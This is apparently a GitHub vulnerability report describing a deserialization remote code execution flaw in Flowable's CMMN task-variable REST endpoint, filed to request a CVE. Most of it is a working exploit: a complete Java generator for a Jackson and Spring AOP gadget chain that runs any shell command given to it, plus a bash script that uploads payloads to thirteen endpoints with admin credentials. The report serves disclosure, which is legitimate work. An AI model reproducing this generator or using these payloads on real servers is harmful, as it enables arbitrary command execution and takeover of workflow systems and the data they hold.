Repository navigation
[SECURITY] Deserialization RCE via PUT /cmmn-runtime/tasks/{taskId}/variables/{variableName} with type=serializable (CWE-502, CVSS 8.8) #4285
Description
Security Vulnerability Report -- CWE-502
Summary
The Flowable CMMN REST PUT /cmmn-runtime/tasks/{taskId}/variables/{variableName} endpoint, in multipart/form-data mode with type=serializable, directly calls ObjectInputStream.readObject() to deserialize user-uploaded file content without any deserialization filter (JEP290/ObjectInputFilter). The default configuration rest.variables.allow.serializable=true allows this operation, and the classpath contains Groovy (groovy-jsr223), enabling construction of ysoserial gadget chains to achieve RCE. Only HTTP Basic Auth authentication is needed to trigger.
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0
Static Analysis Report
None
PoC Verification Report
Vulnerability #6 Endpoint: PUT /cmmn-runtime/tasks/{taskId}/variables/{variableName} (CMMN task variable single variable update)
PoC is the same as #4 (change endpoint path + corresponding resource ID, AOP+Jackson payload is universal)
Core trigger point: BaseVariableResource.setBinaryVariable() -> new ObjectInputStream(file.getInputStream()).readObject() (BaseVariableResource.java:365-366), no ObjectInputFilter
Gadget chain (AOP+Jackson native chain):
EventListenerList.readObject()
-> UndoManager.toString()
-> POJONode.toString() [Jackson serialization triggers getter]
-> JdkDynamicAopProxy.invoke() [spring-aop-6.1.13]
-> Method.invoke()
-> Templates.getOutputProperties() [interface method, java.xml already exported]
-> TemplatesImpl.getOutputProperties() [module check sees declaring class=Templates interface, not TemplatesImpl]
-> Runtime.exec("touch /tmp/aop_jackson_marker")
Key bypass: Method is Templates.getOutputProperties() (javax.xml.transform.Templates interface method, java.xml module already exported). JDK 17 module check targets Method's declaring class (Templates interface) not target object (TemplatesImpl), therefore not affected by java.xml module encapsulation restrictions. Tomcat 10.1.57 default JAVA_OPTS already includes --add-opens=java.base/java.lang,java.lang.reflect,java.io,java.util,java.util.concurrent,java.rmi/sun.rmi.transport, all reflection access needed by AOP+Jackson chain is satisfied.
PoC 1: AOP+Jackson Payload Generator (AopJacksonChain4.java)
Dependencies: javassist 3.29.2-GA + Flowable classpath (contains spring-aop-6.1.13 + jackson-databind-2.17.2)
import javassist.*;
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Vector;
public class AopJacksonChain4 {
public static void main(String[] args) throws Exception {
String cmd = args.length > 0 ? args[0] : "id";
String outFile = args.length > 1 ? args[1] : "/tmp/aop_jackson_payload4.bin";
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
// 1. Remove BaseJsonNode.writeReplace() to prevent Jackson from using writeReplace instead of toString
CtClass baseJsonNodeClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
try {
CtMethod writeReplace = baseJsonNodeClass.getDeclaredMethod("writeReplace");
baseJsonNodeClass.removeMethod(writeReplace);
} catch (NotFoundException e) {
System.out.println("writeReplace not found");
}
baseJsonNodeClass.toClass();
// 2. Evil class - does not extend AbstractTranslet (Runtime.exec throws ClassCastException but command already executed)
CtClass evilClass = pool.makeClass("EvilCalc");
evilClass.addConstructor(
CtNewConstructor.make(
"public EvilCalc() { Runtime.getRuntime().exec(new String[]{\"/bin/sh\", \"-c\", \"" + cmd + " > /tmp/aop_id_result.txt 2>&1\"}); }",
evilClass
)
);
byte[] evilClassCode = evilClass.toBytecode();
// Helper class (make TemplatesImpl validation pass _transletIndex)
CtClass tempClass = pool.makeClass("FooBar");
byte[] tempClassCode = tempClass.toBytecode();
// 3. Construct TemplatesImpl (_bytecodes = [evilClassCode, tempClassCode])
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object templates = aClass.newInstance();
setField(templates, "_name", "test");
setField(templates, "_transletIndex", 0);
setField(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
setField(templates, "_bytecodes", new byte[][]{evilClassCode, tempClassCode});
// 4. JdkDynamicAopProxy proxies Templates interface -> invoke() calls getOutputProperties()
Class<?> jdkDynamicAopProxy = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Class<?> advisedSupportClass = Class.forName("org.springframework.aop.framework.AdvisedSupport");
Constructor<?> constructor = jdkDynamicAopProxy.getConstructor(advisedSupportClass);
constructor.setAccessible(true);
Object advisedSupport = advisedSupportClass.newInstance();
Method setTarget = advisedSupport.getClass().getMethod("setTarget", Object.class);
setTarget.invoke(advisedSupport, templates);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, invocationHandler);
// 5. POJONode wraps proxy -> toString() triggers Jackson serialization -> calls proxy's getOutputProperties() getter
Class<?> pojoNodeClass = Class.forName("com.fasterxml.jackson.databind.node.POJONode");
Constructor<?> pojoNodeConstructor = pojoNodeClass.getConstructor(Object.class);
Object pojoNode = pojoNodeConstructor.newInstance(proxy);
// 6. EventListenerList + UndoManager assembly (readObject triggers UndoManager.toString() which triggers POJONode.toString())
EventListenerList eventListenerList = new EventListenerList();
UndoManager manager = new UndoManager();
Field edits = CompoundEdit.class.getDeclaredField("edits");
edits.setAccessible(true);
Vector vector = (Vector) edits.get(manager);
vector.add(pojoNode);
setField(eventListenerList, "listenerList", new Object[]{InternalError.class, manager});
// 7. Serialize output
FileOutputStream fos = new FileOutputStream(outFile);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(eventListenerList);
oos.flush();
oos.close();
System.out.println("Payload v4 serialized to " + outFile + " (" + new File(outFile).length() + " bytes)");
}
public static void setField(Object object, String fieldName, Object value) throws Exception {
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}Compile and generate payload (ECS):
# Download javassist
curl -L -o /tmp/javassist.jar https://repo1.maven.org/maven2/org/javassist/javassist/3.29.2-GA/javassist-3.29.2-GA.jar
# Flowable classpath
FLOWABLE_LIB=/tmp/0day-public/flowable-tomcat/webapps/flowable-rest/WEB-INF/lib
CP="$FLOWABLE_LIB/*:/tmp/javassist.jar"
# Compile
javac -cp "$CP" AopJacksonChain4.java -d /tmp
# Generate payload (param1=command to execute, param2=output file)
java --add-opens=java.base/java.lang=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens=java.desktop/javax.swing.undo=ALL-UNNAMED \
--add-opens=java.desktop/javax.swing.event=ALL-UNNAMED \
-cp "/tmp:$CP" AopJacksonChain4 "id" /tmp/aop_payload.binPoC 2: 13-Endpoint Full Verification Script (flowable_full_verify.sh)
#!/bin/bash
# Flowable 7.1.0 - 13 multipart deserialization RCE endpoints verification
# AOP+Jackson chain, JDK 17, Tomcat 10.1.57 default config
FLOWABLE_URL="http://localhost:8080/flowable-rest"
CMMN_URL="http://localhost:8080/flowable-rest/cmmn-api"
AUTH="rest-admin:test"
MARKER_DIR="/tmp/0day-public/flowable-verify/markers"
FLOWABLE_LIB="/tmp/0day-public/flowable-tomcat/webapps/flowable-rest/WEB-INF/lib"
mkdir -p $MARKER_DIR
echo "=== Flowable 7.1.0 - 13 RCE Endpoints (AOP+Jackson) ==="
echo "JDK: $(java -version 2>&1 | head -1)"
echo ""
# --- Deploy BPMN process definition ---
cat > /tmp/verify_proc.bpmn20.xml << 'BPMN'
<?xml version="1.0" encoding="UTF-8"?>
<definitions xmlns="http://www.omg.org/spec/BPMN/20100524/MODEL" targetNamespace="http://flowable.org/bpmn">
<process id="verifyProc" name="Verify Process" isExecutable="true">
<startEvent id="start"/>
<userTask id="task1" name="Task1"/>
<sequenceFlow id="flow1" sourceRef="start" targetRef="task1"/>
</process>
</definitions>
BPMN
curl -s -u $AUTH -X POST "$FLOWABLE_URL/service/repository/deployments" \
-F "file=@/tmp/verify_proc.bpmn20.xml" 2>/dev/null
# --- Deploy CMMN case definition ---
cat > /tmp/verify_case.cmmn.xml << 'CMMN'
<?xml version="1.0" encoding="UTF-8"?>
<cmmn:caseDefinitions id="verifyCaseDef" name="Verify Case"
xmlns:cmmn="http://www.omg.org/spec/CMMN/20141201/MODEL"
targetNamespace="http://flowable.org/cmmn">
<cmmn:case id="verifyCase" name="VerifyCase">
<cmmn:casePlanModel id="casePlanModel" name="Verify Case Plan">
<cmmn:humanTask id="ctask1" name="CTask1"/>
</cmmn:casePlanModel>
</cmmn:case>
</cmmn:caseDefinitions>
CMMN
curl -s -u $AUTH -X POST "$CMMN_URL/cmmn-repository/deployments" \
-F "file=@/tmp/verify_case.cmmn.xml" 2>/dev/null
# --- Helper: generate payload + test one endpoint ---
test_endpoint() {
local vuln_num=$1
local method=$2
local url=$3
local desc=$4
local marker="$MARKER_DIR/vuln_${vuln_num}"
rm -f "$marker"
# Generate AOP+Jackson payload with this marker
CP="$FLOWABLE_LIB/*:/tmp/javassist.jar"
java --add-opens=java.base/java.lang=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens=java.desktop/javax.swing.undo=ALL-UNNAMED \
--add-opens=java.desktop/javax.swing.event=ALL-UNNAMED \
-cp "/tmp:$CP" AopJacksonChain4 "touch $marker" "/tmp/payload_${vuln_num}.bin" 2>/dev/null
# Create variable first if single-variable endpoint
if [[ "$url" == *"/variables/"* ]]; then
local var_url=$(echo "$url" | sed 's|/variables/[^/]*$|/variables|')
curl -s -u $AUTH -X POST "$var_url" \
-H "Content-Type: application/json" \
-d "[{\"name\":\"v${vuln_num}\",\"type\":\"string\",\"value\":\"init\"}]" 2>/dev/null > /dev/null
url=$(echo "$url" | sed "s|/variables/[^/]*|/variables/v${vuln_num}|")
fi
# Upload payload via multipart (type=serializable triggers ObjectInputStream.readObject)
curl -s -u $AUTH -X "$method" "$url" \
-F "name=v${vuln_num}" \
-F "type=serializable" \
-F "file=@/tmp/payload_${vuln_num}.bin" 2>/dev/null
sleep 0.5
if [ -f "$marker" ]; then
echo "✅ #${vuln_num} RCE CONFIRMED: $desc"
else
echo "❌ #${vuln_num} FAILED: $desc"
fi
}
# --- Create runtime instances ---
# CMMN case instance (for #4/#5/#6/#20/#38)
CASE_INST_RESP=$(curl -s -u $AUTH -X POST "$CMMN_URL/cmmn-runtime/case-instances" \
-H "Content-Type: application/json" \
-d '{"caseDefinitionKey":"verifyCase"}' 2>/dev/null)
CASE_INST_ID=$(echo "$CASE_INST_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('id',''))" 2>/dev/null)
echo "Case instance: $CASE_INST_ID"
# BPMN process instance (for #10-#15/#18/#45)
PROC_INST_RESP=$(curl -s -u $AUTH -X POST "$FLOWABLE_URL/service/runtime/process-instances" \
-H "Content-Type: application/json" \
-d '{"processDefinitionKey":"verifyProc"}' 2>/dev/null)
PROC_INST_ID=$(echo "$PROC_INST_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('id',''))" 2>/dev/null)
echo "Process instance: $PROC_INST_ID"
# CMMN task ID
CMMN_TASK_ID=$(curl -s -u $AUTH "$CMMN_URL/cmmn-runtime/tasks" 2>/dev/null | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(d['data'][0]['id'] if d.get('data') else '')" 2>/dev/null)
echo "CMMN task: $CMMN_TASK_ID"
# BPMN task ID
BPMN_TASK_ID=$(curl -s -u $AUTH "$FLOWABLE_URL/service/runtime/tasks" 2>/dev/null | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(d['data'][0]['id'] if d.get('data') else '')" 2>/dev/null)
echo "BPMN task: $BPMN_TASK_ID"
# PlanItem instance ID (for #38)
PLAN_ITEM_ID=$(curl -s -u $AUTH "$CMMN_URL/cmmn-runtime/plan-item-instances?caseInstanceId=$CASE_INST_ID" 2>/dev/null | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(d['data'][0]['id'] if d.get('data') else '')" 2>/dev/null)
echo "Plan item instance: $PLAN_ITEM_ID"
echo ""
echo "========== Testing 13 endpoints =========="
# #4: PUT /cmmn-runtime/case-instances/{id}/variables
curl -s -u $AUTH -X POST "$CMMN_URL/cmmn-runtime/case-instances/$CASE_INST_ID/variables" \
-H "Content-Type: application/json" \
-d '[{"name":"v4","type":"string","value":"init"}]' 2>/dev/null > /dev/null
test_endpoint 4 PUT "$CMMN_URL/cmmn-runtime/case-instances/$CASE_INST_ID/variables/v4" "CMMN case-instance variables PUT"
# #5: PUT /cmmn-runtime/case-instances/{id}/variables/{name}
test_endpoint 5 PUT "$CMMN_URL/cmmn-runtime/case-instances/$CASE_INST_ID/variables/v5" "CMMN case-instance variable {name} PUT"
# #6: PUT /cmmn-runtime/tasks/{id}/variables/{name}
curl -s -u $AUTH -X POST "$CMMN_URL/cmmn-runtime/tasks/$CMMN_TASK_ID/variables" \
-H "Content-Type: application/json" \
-d '[{"name":"v6","type":"string","value":"init"}]' 2>/dev/null > /dev/null
test_endpoint 6 PUT "$CMMN_URL/cmmn-runtime/tasks/$CMMN_TASK_ID/variables/v6" "CMMN task variable {name} PUT"
# #10: PUT /runtime/executions/{id}/variables
test_endpoint 10 PUT "$FLOWABLE_URL/service/runtime/executions/$PROC_INST_ID/variables" "execution variables PUT"
# #11: POST /runtime/executions/{id}/variables
test_endpoint 11 POST "$FLOWABLE_URL/service/runtime/executions/$PROC_INST_ID/variables" "execution variables POST"
# #12: PUT /runtime/executions/{id}/variables/{name}
test_endpoint 12 PUT "$FLOWABLE_URL/service/runtime/executions/$PROC_INST_ID/variables/v12" "execution variable {name} PUT"
# #13: PUT /runtime/process-instances/{id}/variables
test_endpoint 13 PUT "$FLOWABLE_URL/service/runtime/process-instances/$PROC_INST_ID/variables" "process-instance variables PUT"
# #14: POST /runtime/process-instances/{id}/variables
test_endpoint 14 POST "$FLOWABLE_URL/service/runtime/process-instances/$PROC_INST_ID/variables" "process-instance variables POST"
# #15: PUT /runtime/process-instances/{id}/variables/{name}
test_endpoint 15 PUT "$FLOWABLE_URL/service/runtime/process-instances/$PROC_INST_ID/variables/v15" "process-instance variable {name} PUT"
# #18: POST /runtime/tasks/{id}/variables
test_endpoint 18 POST "$FLOWABLE_URL/service/runtime/tasks/$BPMN_TASK_ID/variables" "BPMN task variables POST"
# #20: POST/PUT /cmmn-runtime/tasks/{id}/variables
test_endpoint 20 POST "$CMMN_URL/cmmn-runtime/tasks/$CMMN_TASK_ID/variables" "CMMN task variable POST"
# #38: CMMN PlanItemInstance variable
test_endpoint 38 POST "$CMMN_URL/cmmn-runtime/plan-item-instances/$PLAN_ITEM_ID/variables" "CMMN PlanItemInstance variable"
# #45: PUT /runtime/tasks/{id}/variables/{name}
test_endpoint 45 PUT "$FLOWABLE_URL/service/runtime/tasks/$BPMN_TASK_ID/variables/v45" "BPMN task variable {name} PUT"
echo ""
echo "========== Summary =========="
PASS=0
FAIL=0
for i in 4 5 6 10 11 12 13 14 15 18 20 38 45; do
if [ -f "$MARKER_DIR/vuln_$i" ]; then
PASS=$((PASS+1))
else
FAIL=$((FAIL+1))
fi
done
echo "RCE Pass: $PASS / 13"
echo "RCE Fail: $FAIL / 13"Verification environment setup (ECS):
# 1. Download Tomcat 10.1.57 + Flowable REST 7.1.0 WAR
curl -L -o /tmp/tomcat.tar.gz \
https://archive.apache.org/dist/tomcat/tomcat-10/v10.1.57/bin/apache-tomcat-10.1.57.tar.gz
mkdir -p /tmp/0day-public/flowable-tomcat
tar xzf /tmp/tomcat.tar.gz -C /tmp/0day-public/flowable-tomcat --strip-components=1
# 2. Download Flowable REST WAR (includes flowable-rest.war)
# Download flowable-rest.war from Flowable 7.1.0 release and place in webapps
cp flowable-rest.war /tmp/0day-public/flowable-tomcat/webapps/
# 3. Configure H2 in-memory DB + rest-admin:test Basic Auth
# Edit webapps/flowable-rest/WEB-INF/classes/flowable.properties:
# spring.datasource.url=jdbc:h2:mem:flowable;DB_CLOSE_DELAY=-1
# flowable.rest.admin.user=rest-admin
# flowable.rest.admin.password=test
# rest.variables.allow.serializable=true (default is true)
# 4. Start Tomcat (JDK 17, default JAVA_OPTS already includes --add-opens java.base/java.lang etc.)
export JAVA_HOME=/usr/lib/jvm/java-17-openjdk
/tmp/0day-public/flowable-tomcat/bin/startup.sh
# 5. Verify classpath contains key dependencies
ls /tmp/0day-public/flowable-tomcat/webapps/flowable-rest/WEB-INF/lib/ | \
grep -E "commons-beanutils|commons-collections|spring-aop|jackson-databind"
# Expected output:
# commons-beanutils-1.9.4.jar
# commons-collections-3.2.2.jar
# jackson-databind-2.17.2.jar
# spring-aop-6.1.13.jarData flow:
multipart upload → BaseVariableResource.setBinaryVariable()
→ new ObjectInputStream(file.getInputStream()) [no ObjectInputFilter]
→ readObject()
→ EventListenerList.readObject() → UndoManager.toString()
→ POJONode.toString() → Jackson getter
→ JdkDynamicAopProxy.invoke() → Method.invoke()
→ Templates.getOutputProperties() → TemplatesImpl.getOutputProperties()
→ Runtime.exec("/bin/sh -c \"touch /tmp/.../vuln_N\"")
Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
Activity